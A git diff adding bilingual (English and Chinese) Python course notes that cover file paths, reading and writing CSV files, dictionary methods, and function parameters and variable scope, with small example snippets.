10.5. Finding a File in your Filesystem + +`open('myfile.txt', 'r')`: all files sit in a single directory, and it’s the same directory where the Python program is stored. + +![ExampleFileHierarchy](https://i.imgur.com/Rz2Bxft.png) + +If file and Python program are in the same directory: can simply use the filename +- the file `myPythonProgram.py` could contain the code `open('data1.txt', 'r')` + +If file and Python program are in different directories: need to specify a *path*. +- the file `myPythonProgram.py` could contain the code `open('../myData/data2.txt', 'r')` +to use an *absolute file path* (begins with a /) +- Python program running from any file folder could open data2.txt via `open('/Users/joebob01/myFiles/allProjects/myData/data2.txt', 'r')`. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.10.10.CSV-file.md b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.10.10.CSV-file.md new file mode 100644 index 00000000000..469b9c408a1 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.10.10.CSV-file.md @@ -0,0 +1,105 @@ + +# CSV + +[toc] + +## CSV Format + +CSV: Comma Separated Values. + +```py +- The first line gives the column names +- the later lines each give the data for one row. + +Name,score,grade +Jamal,98,A+ +Eloise,87,B+ +Madeline,99,A+ +Wei,94,A +``` + +--- + +## 10.10. Reading in data from a CSV File + +```py + +1. to iterate over the CSV file lines. + - values on each line are separated with commas or different column separator + - to parse each line into a collection of separate value. +2. CSV format uses commas to separate but encloses all values in double quotes. + - use the .split(','), .split('|') or .split('\\t'). + - header.strip().split(','): delete the front end space in the strings + + # file + "Name","Sex","Age","Team","Event","Medal" + "A Dijiang","M","24","China","Basketball","NA" + "Edgar Lindenau Aabye","M","34","Denmark/Sweden","Tug-Of-War","Gold" + "Christine Jacoba","F","21","Netherlands","Speed Skating, 1500M","NA" + + fileconnection = open("olympics.txt", 'r') + lines = fileconnection.readlines() + + header = lines[0] + field_names = header.strip().split(',') + print(field_names) + + for row in lines[1:]: + vals = row.strip().split(',') + if vals[5] != "NA": + print("{}: {}; {}".format(vals[0], vals[4], vals[5])) + +``` + +--- + +## 10.11. Writing data to a CSV File + + +the `.write(str)` method: does not automatically insert a newline. +- have to `.write(\n)`: add the character `\n` at the end of each line. + + +```py + + +olympians = [("John Aalberg", 31, "Cross Country Skiing"), + ("Minna Maarit Aalto", 30, "Sailing"), + ("Win Valdemar Aaltonen", 54, "Art Competitions"), + ("Wakako Abe", 18, "Cycling")] + +outfile = open("reduced_olympics.csv", "w") + +# output the header row +outfile.write('Name,Age,Sport') +outfile.write('\n') + +# output each of the rows: +for olympian in olympians: + + row_string = '{},{},{}'.format(olympian[0], olympian[1], olympian[2]) + row_string = ','.join(olympian[0], olympian[1], olympian[2]) + + outfile.write(row_string) + outfile.write('\n') +outfile.close() + +- .format(olympian) wouldn’t work: because the interpreter would see only one value (a tuple) when it was expecting three values to try to substitute into the string template. +- .format(*olympian): an advanced technique for automatically unpacking the three values from the tuple. + +``` + + + + + + + + + + + + + + +--- diff --git a/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.11.0.Dic(mutable).md b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.11.0.Dic(mutable).md new file mode 100644 index 00000000000..b118d9e6bab --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.11.0.Dic(mutable).md @@ -0,0 +1,682 @@ + +# dic + +[toc] + +# intro + +The compound data types: +- strings and lists + - are sequential collections. + - means that the items in the collection are ordered from left to right, use integers as indices to access the values they contain. + - also means that looking for a particular value requires scanning the many items in the list until you find the desired value. +- Dictionary + - different kind of collection. + - Python’s built-in `mapping` type. + - A map is an `unordered, associative` collection. + - from a `key` (any immutable type), to a `value` (any Python data object). + - 可变容器模型,且可存储任意类型对象。 + - 字典的每个KEY值(key=>value)对用冒号(:)分割,每个对之间用逗号(,)分割,整个字典包括在花括号({})中 + +`d = {key1 : value1, key2 : value2 }` + +- KEY必须是唯一的,但值则不必。 +- 值可以取任何数据类型,但KEY必须是不可变的,如字符串,数字或元组。 + +to create a dictionary: +- It doesn’t matter what order to write the pairs. +- The values in a dictionary are accessed with keys, not with indices, no need to care about ordering. + +1. start with the empty dictionary, add key-value pairs. + - The empty dictionary is denoted {}. + + ```py + 1 eng2sp = {} + 2 eng2sp['one'] = 'uno' + 3 eng2sp['two'] = 'dos' + 4 eng2sp['three'] = 'tres' + + {'one': 'uno', 'two': 'dos', 'three': 'tres'} + ``` +2. to provide a bunch of key-value pairs + - It doesn’t matter what order we write the pairs. + + ```py + 1 eng2sp = {'one': 'uno', 'two': 'dos', 'three': 'tres'} + ``` + + +## 访问字典里的值 +- 把相应的KEY放入到方括号中 `dict['Key']` + +```py +dict = {'Name': 'Runoob', 'Age': 7, 'Class': 'First'} +print ("dict['Name']: ", dict['Name']) +print ("dict['Age']: ", dict['Age']) + +# 结果 +dict['Name']: Runoob +dict['Age']: 7 + +# 如果用字典里没有的KEY访问数据,会输出错误如下: +print ("dict['Alice']: ", dict['Alice']) + +# 结果 +Traceback (most recent call last): + File "test.py", line 5, in + print ("dict['Alice']: ", dict['Alice']) +KeyError: 'Alice' +``` + +## 更新/添加 `dict['new/key']=new/value` +- 添加新内容: 增加新的KEY/值对,修改或删除已有KEY/值对 + +```py +dict = {'Name': 'Runoob', 'Age': 7, 'Class': 'First'} + +dict['Age'] = 8 # 更新 Age +dict['School'] = "AAA" # 添加信息 + +print ("dict['Age']: ", dict['Age']) +print ("dict['School']: ", dict['School']) + +# 结果 +dict['Age']: 8 +dict['School']: AAA +``` + +--- + +## Looping + +### Looping Through All Key-Value Pairs + +```py +user_0 = {'username': 'efermi', + 'first': 'enrico', 'last': 'fermi', + } + +for key, value in user_0.items(): + print(f"\nKey: {key}") + print(f"Value: {value}") +``` + + +### Looping Through All the Keys in a Dictionary + +```py +for name in favorite_languages.keys(): + print(name.title()) +``` + +### Looping Through Keys in a Particular Order + +```py +for name in sorted(favorite_languages.keys()): + print(f"{name.title()}, thank you for taking the poll.") +``` + +### Looping Through All Values in a Dictionary + +```py +for language in favorite_languages.values(): + print(language.title()) +``` + +--- + +## 删除VALUE `del` dict['key'] +- 能删单一的元素也能清空字典,清空只需一项操作。 + +```py +dict = {'Name': 'Runoob', 'Age': 7, 'Class': 'First'} + +del dict['Name'] # 删除KEY 'Name' +dict.clear() # 清空字典 +del dict # 删除字典 + +# 执行 del 操作后字典不再存在: +print ("dict['Age']: ", dict['Age']) + +Traceback (most recent call last): + File "test.py", line 9, in + print ("dict['Age']: ", dict['Age']) +TypeError: 'type' object is not subscriptable +``` + +--- + + +## 字典KEY的特性 +- 字典值可以是任何的 python 对象,既可以是标准的对象,也可以是用户定义的,但KEY不行。 + +1. 不允许同一个KEY出现两次。如同一个KEY被赋值两次,后一个值会被记住 + +```py +dict = {'Name': 'Runoob', 'Age': 7, 'Name': 'Pig'} +print ("dict['Name']: ", dict['Name']) +# 结果 +dict['Name']: Pig +``` + +2. KEY必须不可变,所以可以用 *数字,字符串或元组* 充当,*列表* 就不行,如下实例: + +```py +dict = {['Name']: 'Runoob', 'Age': 7} +print ("dict['Name']: ", dict['Name']) +# tuple ok: + +# dict = {('Name'): 'Runoob', 'Age': 7} +# print ("dict('Name'): ", dict[('Name')]) +# 结果 +Traceback (most recent call last): + File "test.py", line 3, in + dict = {['Name']: 'Runoob', 'Age': 7} +TypeError: unhashable type: 'list' +``` + +-- + +## 方法 + +### `len`(dict): KEY的总数。 + +returns the number of key-value pairs. + +```py +>>> dict = {'Name': 'Runoob', 'Age': 7, 'Class': 'First'} +>>> len(dict) +3 +``` + +2. str(dict): 输出字典,以可打印的字符串表示。 + +```py +>>> dict = {'Name': 'Runoob', 'Age': 7, 'Class': 'First'} +>>> str(dict) +"{'Name': 'Runoob', 'Class': 'First', 'Age': 7}" +``` + +3. type(variable): 返回输入的变量类型,如果变量是字典就返回字典类型。 + +```py +>>> dict = {'Name': 'Runoob', 'Age': 7, 'Class': 'First'} +>>> type(dict) + +``` + +--- + +## 内置方法: + +### dict.`clear()`: 删除字典内所有元素 + +```py +>>> dict = {'Name': 'Zara', 'Age': 7} +>>> dict.clear() +>>> print (len(dict)) +0 +``` + +### dict.`copy()`: 返回一个字典的浅复制 + +```py +>>> dict1 = {'Name': 'Runoob', 'Age': 7, 'Class': 'First'} +>>> dict2 = dict1.copy() +>>> print ("新复制的字典为: ",dict2) +('\xe6\x96\xb0\xe5\xa4\x8d\xe5\x88\xb6\xe7\x9a\x84\xe5\xad\x97\xe5\x85\xb8\xe4\xb8\xba : ', {'Age': 7, 'Name': 'Runoob', 'Class': 'First'}) + +1. 直接赋值 和 copy 的区别 + + dict1 = {'user':'runoob','num':[1,2,3]} + dict2 = dict1 # 浅拷贝: 引用对象 + dict3 = dict1.copy() # 浅拷贝:深拷贝父对象(一级目录),子对象(二级目录)不拷贝,还是引用 + + # 修改 data 数据 + dict1['user']='root' + dict1['num'].remove(1) + + # 输出结果 + print(dict1) + print(dict2) + print(dict3) + #dict2 是 dict1 的引用(别名),所以输出结果都是一致的 + #dict3 父对象进行了深拷贝,不会随dict1 修改而修改,子对象是浅拷贝所以随 dict1 的修改而修改。 + {'user': 'root', 'num': [2, 3]} + {'user': 'root', 'num': [2, 3]} + {'user': 'runoob', 'num': [2, 3]} +``` + +--- + +### dict.`fromkeys(seq[, value])`: 创建一个新字典 + - 以序列seq中元素做字典的KEY + - val为字典所有KEY对应的初始值 + +```py +>>> seq = ('name', 'age', 'sex') + +>>> dict = dict.fromkeys(seq) # 不指定值: +>>> print ("新的字典为 : %s" % str(dict)) + +>>> dict = dict.fromkeys(seq, 10) # every key's value is the same +>>> print ("新的字典为 : %s" % str(dict)) + +>>> # 结果 +>>> 新的字典为 : {'age': None, 'name': None, 'sex': None} # 不指定值:all None +>>> 新的字典为 : {'age': 10, 'name': 10, 'sex': 10} # every key's value is the same +``` + +--- + +## Access Values + +### dict.`get(key, default=None)`: 返回指定KEY的值,如果值不在字典中返回default值 + +```py + +1. + + inventory = {'BigBlueberry': 430, 'bananas': 312, 'oranges': 525, 'pears': 217} + + print(inventory.get("Bigblueberrys")) # 430 + print(inventory.get("cherries")) # None + print(inventory.get("cherries",0)) # 0 + + +2. + + di = [{"Puppies": 17, 'Kittens': 9, "Birds": 23, 'Fish': 90, "Hamsters": 49}, {"Puppies": 23, "Birds": 29, "Fish": 20, "Mice": 20, "Snakes": 7}, {"Fish": 203, "Hamsters": 93, "Snakes": 25, "Kittens": 89}, {"Birds": 20, "Puppies": 90, "Snakes": 21, "Fish": 10, "Kittens": 67}] + total=0 + + for dict in di: + total += dict.get("Puppies",0) + print(total) + +``` + +--- + +### 由value查找key + +list(student.keys()) [ list(student.values()).index ('1004')] + +结果显示: '小明' + + +--- + +### x`.keys()`: view of the keys in dic + +x`.keys()` actually do produce lists. +- but In a native python interpreter, `type(inventory.keys())` something not actual list. + +```py + +1. + inventory = {'BigBlueberry': 430, 'bananas': 312, 'oranges': 525, 'pears': 217} + + for akey in inventory.keys(): # the order in which we get the keys is not defined + print(akey) + Bigblueberrys + bananas + oranges + pears + + >>> list(inventory.keys()) + ['BigBlueberry', 'bananas', 'oranges', 'pears'] + +2. dict.keys(): 返回一个迭代器,使用 list() 来转换为列表 + - 直接使用dict.keys(),那么返回值为dict_keys,并非直接的列表 + - 若要返回列表值还需调用list函数。 + + >>> dict = {'Name': 'Runoob', 'Age': 7} + + >>> dict.keys() + dict_keys(['Name', 'Age']) + + >>> list(dict.keys()) # 转换为列表 + ['Name', 'Age'] +``` + +to iterate over the keys in a dictionary +- omit the `keys()`, use `for` loop +- iterating over a dictionary implicitly iterates over its keys. + +```py + + inventory = {'BigBlueberry': 430, 'bananas': 312, 'oranges': 525, 'pears': 217} + for k in inventory: + print(k) + Bigblueberrys + bananas + oranges + pears +``` + +--- + +### `key in / not in dict`: 如果KEY在字典dict里返回true,否则返回false + +```py +inventory = {'BigBlueberry': 430, 'bananas': 312, 'oranges': 525, 'pears': 217} +print('BigBlueberry' in inventory) # True +print('cherries' in inventory) # False + +if 'bananas' in inventory: + print(inventory['bananas']) +else: + print("We have no bananas") +312 + +mydict = {"cat":12, "dog":6, "elephant":23, "bear":20} +print(23 in mydict) +False +# 23 is a value in the dictionary, not a key. +``` + +--- + +### dict.`items()`: 以列表返回可遍历的(KEY, 值) 元组数组 + +```py +>>> abc = {'Name': 'Runoob', 'Age': 7} +>>> print (abc.items()) +[('Age', 7), ('Name', 'Runoob')] + +- 遍历例子: + >>> dict = {'Name': 'Runoob', 'Age': 7} + >>> for i,j in dict.items(): + >>> print(i, ":\t", j) + Name : Runoob + Age : 7 + +- 将字典的 key 和 value 组成一个新的列表: + >>> d={1:"a",2:"b",3:"c"} + >>> result=[] + >>> for k,v in d.items(): + >>> result.append(k) + >>> result.append(v) + >>> print(result) + [1, 'a', 2, 'b', 3, 'c'] +``` + +8. dict.`setdefault(key, default=None)`: 和get()类似, 但如果KEY不存在于字典中,将会添加KEY并将值设为default +>>> dict = {'Name': 'Runoob', 'Age': 7} +>>> print ("Age 键的值为 : %s" % dict.setdefault('Age', None)) +>>> print ("Sex 键的值为 : %s" % dict.setdefault('Sex', None)) +>>> print ("新字典为:", dict) +Age 键的值为 : 7 +Sex 键的值为 : None +新字典为: {'Age': 7, 'Name': 'Runoob', 'Sex': None} + + +9. dict.`update(dict2)`: 把字典dict2的KEY/值对更新到dict里 +返回值: 该方法没有任何返回值。 +>>> dict = {'Name': 'Runoob', 'Age': 7} +>>> dict2 = {'Sex': 'female' } +>>> dict.update(dict2) +>>> print ("更新字典 dict : ", dict) +更新字典 dict : {'Name': 'Runoob', 'Age': 7, 'Sex': 'female'} + + + +11. dict.`pop(key[,default])`: 删除字典给定KEY key 所对应的值,返回值为被删除的值。 +- key值必须给出。 否则,返回default值。 +- 括号里没有参数: 删除最后一个元素, 0: 删除数组中的第一个元素 +>>> site= {'name': '菜鸟教程', 'alexa': 10000, 'url': 'www.runoob.com'} +>>> pop_obj=site.pop('name') +>>> print(pop_obj) +菜鸟教程 +>>> print(site) +{'url': 'www.runoob.com', 'alexa': 10000} + + - 如果要删除的 key 不存在,则需要添加默认值,否则会报错: + >>> dict1 = {1: "a", 2: [1, 2]}; + + >>> print(dict1.pop(1),dict1); + a {2: [1, 2]} + + >>> print(dict1.pop(3,"nokey"),dict1); # 设置默认值,必须添加,否则报错 + nokey {2: [1, 2]} + + >>> print(dict1.pop(3),dict1); + Traceback (most recent call last): + File "", line 1, in + KeyError: 3 + +### `popitem()`: 随机返回并删除字典中的最后一对KEY和值。 +>>> site= {'name': '菜鸟教程', 'alexa': 10000, 'url': 'www.runoob.com'} +>>> pop_obj=site.popitem() +>>> print(pop_obj) +('url', 'www.runoob.com') +>>> print(site) +{'name': '菜鸟教程', 'alexa': 10000} + + +### dic`.value()` return the objects +返回一个迭代器,可以使用 list() 来转换为列表 +- the item objects are `tuples` containing the key and the associated value. + +```py +inventory = {'BigBlueberry': 430, 'bananas': 312, 'oranges': 525, 'pears': 217} + +print(list(inventory.values())) +[430, 312, 525, 217] + +print(list(inventory.items())) # the item objects are tuples +[('BigBlueberry', 430), ('bananas', 312), ('oranges', 525), ('pears', 217)] + +for k in inventory: + print("Got",k,"that maps to",inventory[k]) +Got Bigblueberrys that maps to 430 +Got bananas that maps to 312 +Got oranges that maps to 525 +Got pears that maps to 217 +``` + +--- + +## 11.5. Aliasing and copying + +dictionaries are mutable, be aware of `aliasing`. + +```py + +1. Aliasing. + + opposites = {'up': 'down', 'right': 'wrong', 'true': 'false'} + alias = opposites + # alias and opposites refer to the same object. + print(alias is opposites) # True + +2. dic.copy(): + a copy of the dictionary, changes to it will not effect the original. + + acopy = opposites.copy() + acopy['right'] = 'left' + # does not change opposites +``` + +--- + + +## 11.9. 👩‍💻 When to use a dictionary +when a dictionary will be beneficial: + +- When a piece of data consists of `a set of properties of a single item`, a dictionary is often better. You could try to keep track mentally that the zip code property is at index 2 in a list, but your code will be easier to read and you will make fewer mistakes if you can look up mydiction[‘zipcode’] than if you look up mylst[2]. + +- When you have a `collection of data pairs`, and you will often have to look up one of the pairs based on its first value, it is better to use a dictionary than a list of (key, value) tuples. With a dictionary, you can find the value for any (key, value) tuple by looking up the key. With a list of tuples you would need to iterate through the list, examining each pair to see if it had the key that you want. + +- but, if a collection of data pairs where multiple pairs share the same first data element, then you can’t use a dictionary, because a dictionary requires all the keys to be distinct from each other. + + +--- + +## example: + +### 11.6. Accumulating Multiple Results In a Dictionary 计算str中字母次数 + +`the accumulator pattern`: +- goes through the items in a sequence, updating an `accumulator variable` each time. +- Rather than accumulating a single result, it’s possible to accumulate many results. + +```py +stri = "what can I do" +char_d={} +for i in stri: + if i not in char_d: + char_d[i]=0 # create key + char_d[i]+=1 # raise the key's value +``` + + +```py +f = open('scarlet.txt', 'r') +txt = f.read() +# now txt is one long string containing all the characters +x = {} # start with an empty dictionary +x['t'] = 0 # intiialize the t counter +x['s'] = 0 # initialize the s counter +for c in txt: + if c == 't': + x[c] = x[c] + 1 # increment the t counter + elif c == 's': + x[c] = x[c] + 1 # increment the s counter + +print("t: " + str(x['t']) + " occurrences") +print("s: " + str(x['s']) + " occurrences") + + +2. nice thing about using a dictionary: don’t have to prespecify what all the letters will be. + + f = open('scarlet.txt', 'r') + txt = f.read() + # now txt is one long string containing all the characters + x = {} # start with an empty dictionary + for c in txt: + if c not in x: + # not seen this character before, so initialize a counter for it + x[c] = 0 + + #whether we've seen it before or not, increment its counter + x[c] = x[c] + 1 + + print("t: " + str(x['t']) + " occurrences") + print("s: " + str(x['s']) + " occurrences") + + for c in x.keys(): + print(c + ": " + str(x[c]) + " occurrences") + + +3. compute the total score + + letter_values = {'a': 1, 'b': 3, 'c': 3, 'd': 2, 'e': 1, 'f':4, 'g': 2, 'h':4, 'i':1, 'j':8, 'k':5, 'l':1, 'm':3, 'n':1, 'o':1, 'p':3, 'q':10, 'r':1, 's':1, 't':1, 'u':1, 'v':8, 'w':4, 'x':8, 'y':4, 'z':10} + + tot = 0 + for y in x: + if y in letter_values: + tot = tot + letter_values[y] * x[y] + + print(tot) + + + schedule = {"UARTS 150": 3, "SPANISH 103": 4, "ENGLISH 125": 4, "SI 110": 4, "ENS 356": 2, "WOMENSTD 240": 4, "SI 106": 4, "BIO 118": 3, "SPANISH 231": 4, "PSYCH 111": 4, "LING 111": 3, "SPANISH 232": 4, "STATS 250": 4, "SI 206": 4, "COGSCI 200": 4, "AMCULT 202": 4, "ANTHRO 101": 4} + total_credits=0 + for i in schedule: # all the key in dic + total_credits+=schedule[i] + +``` + +--- + +### 11.8. Accumulating the Best Key 计算value的最值 + +```py + +1. + + d = {'a': 194, 'b': 54, 'c':34, 'd': 44, 'e': 312, 'full':31} + ks = d.keys() + maxnum=0 + for k in ks: + if maxnum d[best_key_so_far]: + best_key_so_far = k + + print("key " + best_key_so_far + " has the highest value, " + str(d[best_key_so_far])) + +``` + +### translate the str + +```py +dic={'hello':'avast', 'sir':'matey', 'hotel':'fleabag inn', 'student':'swabbie', 'boy':'matey'} + +user_s='hello boy' + +new_s='' +psentence = [] + +user_w=user_s.split() +for i in user_w: + if i in dic: + new_s+=dic[i]+' ' + psentence.append(dic[i]) + else: + psentence.append(aword) +print(" ".join(psentence)) +``` + +--- + +### dic according to the alphabet + +```py +x = input("Enter a sentence") +x = x.lower() # convert to all lowercase + +alphabet = 'abcdefghijklmnopqrstuvwxyz' + +letter_count = {} # empty dictionary + +for char in x: + if char in alphabet: + # ignore any punctuation, numbers, etc + if char in letter_count: + letter_count[char] += 1 + else: + letter_count[char] = 1 + +keys = letter_count.keys() +for char in sorted(keys): # 排列 + print(char, letter_count[char]) +``` + + + +freq = {} +for c in str1: + if c not in freq: + freq[c] = 0 + freq[c]+=1 + + +freq={} + +for i in str1: + if i not in frep: + frep[i]=0 + frep[i]+=1 + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.12.0.Function.md b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.12.0.Function.md new file mode 100644 index 00000000000..1c5586ace62 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python12-Functions-Files-Dictionaries-byUMich/0.12.0.Function.md @@ -0,0 +1,717 @@ + +# Function + +[toc] + + +```py +class student(object): + + def __init__(self, name, score): # 强制填写 + self.name=name + self.score=score + + def print_score(self): + print("%s:%s" % (self.name, self.score)) + + def get_grade(self): + if self.score >= 90: + return 'A' + if self.score >= 60: + return 'B' + else: + return 'C' +``` + + +## intro + +some functions maybe repeated in code many times. + +`function`: +- a chunk of code that performs some operation that is meaningful for a person to think about as a whole unit, +- a named sequence of statements. + +- 函数是组织好的,可重复使用的,用来实现单一,或相关联功能的代码段。 +- 函数能提高应用的模块性,和代码的重复利用率。 +- Python提供了许多 *内建函数*,比如print()。 +- 但也可以自己创建函数,这被叫做 *用户自定义函数*。 + + +--- + +## 12.2. Function Definition + +creating a function, a function definition, is: + +```py +def name( parameters ): + statements + +>>> print(type(name)) + +``` + +- the `parameters` specify what the function needs to do its work. +- There can be any number of statements inside the function, but they have to be indented from the `def`. +- also a compound statements: + - A `header` line: begins with a keyword `def`, followed by the `name` of the function, and some `parameter` names enclosed in parentheses, and ends with a `colon`. + - A `body`: consisting of one or more Python statements, each indented the same amount – 4 spaces is the Python standard – from the header line. +- `docstrings` + - 函数的第一行语句可以选择性地使用文档字符串—用于存放函数说明。 + - If the first thing after the function header is a string (some tools insist that it must be a triple-quoted string), it is called a `docstring` and gets special treatment in Python and in some of the programming tools. + - Another way to retrieve this information: use the interactive interpreter, enter `.__doc__`, it will retrieve the `docstring` for the function. + - So the string you write as documentation at the start of a function is retrievable by python tools at runtime. This is different from comments in your code, which are completely eliminated when the program is parsed. + +By convention, Python programmers use docstrings for the key documentation of their functions. + +--- + +## 12.3. Function Invocation 函数调用 + +after define, to execute the function, use `function call/invocation`. + +- 定义函数:给了函数一个名称,指定了函数里包含的参数,和代码块结构。 +- 这个函数的基本结构完成以后,可以通过另一个函数调用执行,也可以直接从 Python 命令提示符执行。 + + +--- + +## 12.4. Function Parameters 参数 + +![Screen Shot 2020-03-21 at 13.20.37](https://i.imgur.com/RwS4v9I.png) + +![Screen Shot 2020-03-21 at 13.18.13](https://i.imgur.com/aYgGCSm.png) + +```py +def name( formal/actual parameters / parameter values ): + statements +``` + +This type of diagram is often called a `black-box diagram` because it only states the requirements from the perspective of the user +- The user must know the name of the function and what arguments need to be passed. +- The details of how the function works are hidden inside the “black-box”. + + +```py +def add(a,b): + total = a+b + a = 17 + # string immutable, will not change + return total + +def add_list(alist): + total = 0 + for i in alist: + total+=i + list.append("3") + # list mutable, will change + return total + +mynum=11 +add(mynum, 3) # (11,3) actual parameter +``` + +```py +调用函数时可使用的正式参数类型: +- 必需参数 +def printme(str): + +- 关键字参数 +def printme(name, age): + +- 默认参数 +def printinfo( name, age = 35): + +- 不定长参数 +def name([formal_args,]*var_args_tuple): + +``` + +--- + +## 12.5. `return value` from a function + +`procedure`: function that doesn’t return a value. + +`fruitful functions`: Functions that return values. +- The return statement is followed by an expression which is evaluated +- `return [表达式]` 结束函数,选择性地返回一个值给调用方。不带表达式的return相当于返回 None。 + + +```py +def name(parameter): + statements + return 3 + +get_value = name(parameter) = 3 +# get the return value + +def name(parameter): + statements + 3 + +get_value = name(parameter) = None +# get None +``` + + +A `return` statement, once executed, immediately terminates execution of a function, even if it is not the last statement in the function. +- Once the function gets to the return statement it will immediately stop executing the function. + + +```py + +1. + def weird(): + print("here") + return 5 + print("there") + return 10 + + x = weird() + print(x) + + when line 3 executes, the value 5 is returned and assigned to the variable x, then printed. + Lines 4 and 5 never execute. + +2. + def longer_than_five(list_of_names): + for name in list_of_names: + if len(name) > 5: # as soon as you see a name longer than 5 letters, + return True + # then return True! + # If Python executes that return statement, the function is over and the rest of the code will not run -- you already have your answer! + return False + # You will only get to this line if you + # iterated over the whole list and did not get a name where + # the if expression evaluated to True, so at this point, it's correct to return False! + list1 = ["Sam","Tera","Sal","Amita"] + list2 = ["Rey","Ayo","Lauren","Natalie"] + + print(longer_than_five(list1)) + print(longer_than_five(list2)) + +``` + +## 12.8. Variables and parameters are local¶ + +![Screen Shot 2020-03-21 at 14.21.38](https://i.imgur.com/mMO3pJC.png) + + +![Screen Shot 2020-03-21 at 14.21.05](https://i.imgur.com/1hVw556.png) + +y=x*x, `return y` + +avoid the temporary variable y: `return x*x` +- `temporary variables` inside are referred to as `local variables` + +the `global variables` and the `local variables `for the square function are in separate boxes. can have same name. +- `local variable` only exists inside the function and you cannot use it outside. +- It is legal for a function to access a `global variable`. However, this is considered bad form and should be avoided. + +```py +def square(x): + y = x * x + return y + +z = square(10) +print(y) + +NameError: name 'y' is not defined on line 6 +``` + +--- + +### variable's scope: +- rule about how variables are looked up in Python. +- First, Python looks at the variables that are defined as `local variables` in the function. the `local scope`. +- If the variable name is not found in the `local scope`, then Python looks at the `global variables`, `global scope`. + +```py + +1. pass all parameter to the function: + + def badsquare(x): + y = x ** power + # 1. function should pass power as a parameter. + return y + power = 2 + result = badsquare(10) + print(result) + + +2. local shadows the global. + + def powerof(x,p): + power = p # mistake + y = x ** power + return y + power = 3 + 7 result = powerof(10,2) + + Global frame: + powerof --- function powerof(x,p) + power 3 + result 100 + +the local shadows the global: +- a local variable has the same name as a global variable +- A shadow: means that the global variable cannot be accessed by Python because the local variable will be found first. +- This is another good reason not to use global variables. As you can see, it makes your code confusing and difficult to understand. + + +3. change the value of a global variable inside a function + + def powerof(x,p): + global power # bad idea, but valid + power = p # mistake + y = x ** power + return y + power = 3 + print(powerof(10,2)) + + Global frame: + powerof --- function powerof(x,p) + power 2 + # change the value of a global variable inside a function + result 100 +``` + +> Note +> Generally, we do not recommend making variables global. +> Imagine you are trying to write a program that keeps track of money while purchasing groceries. You may make a variable that represents how much money the person has, called wallet. You also want to make a function called purchase, which will take the name of the item and its price, and then add the item to a list of groceries, and deduct the price from the amount stored in wallet. If you initialize wallet before the function as a variable within the global scope instead of passing it as a third parameter for purchase, then an error would occur because wallet would not be found in the local scope. Though there are ways to get around this, as outlined in this page, if your program was supposed to handle groceries for multiple people, then you would need to declare each wallet as a global variable in the functions that want to use wallet, and that would become very confusing and tedious to deal with. +--- + +## 12.14. Side Effects + +`side effect` +- Some lasting effect of a function call, other than its return value. +- Side effects include + - `print statements` + - `changes to mutable objects` + - `changes to the values of global variables` + +Side effects are sometimes convenient. +- For example +- have a single dictionary that accumulates information, and pass it around to various functions that modify it. + +```py +def double(n): + global y + y = 2 * n + +y = 5 +double(y) # 10 +``` + +but can be very difficult to debug. +- better way: + +```py +def double(n): + return 2 * n + +y = 5 +y = double(y) +print(y) +``` + +- You can avoid confusing `side effects` with `sharing of mutable objects`. + - make a copy of an object and pass the copy in to the function. + - Then return the modified copy + - reassign it to the original variable to save the changes. + +```py +1 def changeit(lst): +2 lst[0] = "Michigan" +3 lst[1] = "Wolverines" +4 return lst +5 +6 mylst = ['106', 'students', 'are', 'awesome'] +7 newlst = changeit(list(mylst)) +8 print(mylst) +9 print(newlst) +``` + +--- + +## Preventing a Function from Modifying a List + +function_name(list_name[:]) + +## Arbitrary + +### Passing an Arbitrary Number of Arguments + +won’t know how many arguments a function needs to accept +- Python allows a function to collect an arbitrary number of arguments from the calling statement. + +The asterisk in the parameter name `*toppings` tells Python to make an `empty tuple` called toppings and pack whatever values it receives into this tuple. + +```py +def make_pizza(*toppings): + print("\nMaking a pizza with the following toppings:") + for topping in toppings: + print(f"- {topping}") + +make_pizza('pepperoni') +# Making a pizza with the following toppings: +# - pepperoni + +make_pizza('mushrooms', 'green peppers', 'extra cheese') +# Making a pizza with the following toppings: +# - mushrooms +# - green peppers +# - extra cheese + +def make_pizza(size, *toppings): + print(f"\nMaking a {size}-inch pizza with the following toppings:") + for topping in toppings: + print(f"- {topping}") + +make_pizza(16, 'pepperoni') +make_pizza(12, 'mushrooms', 'green peppers', 'extra cheese') +``` + +### Using Arbitrary Keyword Arguments + +won’t know what kind of information will be passed to the function. +- write functions that accept `as many key-value pairs as the calling statement provides`. + +```py +def build_profile(first, last, **user_info): + user_info['first_name'] = first + user_info['last_name'] = last + return user_info + +user_profile = build_profile('albert', 'einstein', location='princeton', field='physics') + +print(user_profile) +# {'location': 'princeton', 'field': 'physics', 'first_name': 'albert', 'last_name': 'einstein'} +``` + +--- + +## 12.6. 👩‍💻 Decoding a Function + +build your understanding of any function: +- How many parameters does it have? +- What is the type of values that will be passed when the function is invoked? +- What is the type of the return value that the function produces when it executes? + +some clues: +- `len(x)`: x must be a string/list/dictionary. x can’t be a number/Boolean. +- `x - y`: x and y must be numbers (integer or float) +- `x + y`: x and y must both be numbers/strings/lists. +- `x[3]`: x must be a string/list containing at least four items, or a dictionary that includes 3 as a key. +- `x['3']`: x must be a dictionary, with ‘3’ as a key. +- `x[y:z]`, x must be a sequence (string/list), and y and z must be integers. +- `x and y`, x and y must be Boolean +- `for x in y`, y must be a sequence (string/list) or a dictionary (in which case it’s really the dictionary’s keys); x must be a character if y is a string; if y is a list, x could be of any type. + +--- + +## 12.10. Composition Functions + +This process of breaking a problem into smaller subproblems is called `functional decomposition`. + +```py + + +1 def square(x): +2 y = x * x +3 return y +4 +5 def sum_of_squares(x,y,z): +6 a = square(x) +7 b = square(y) +8 c = square(z) +9 +10 return a+b+c +11 +12 a = -5 +13 b = 2 +14 c = 10 +15 result = sum_of_squares(a,b,c) +16 print(result) + +Frames Objects 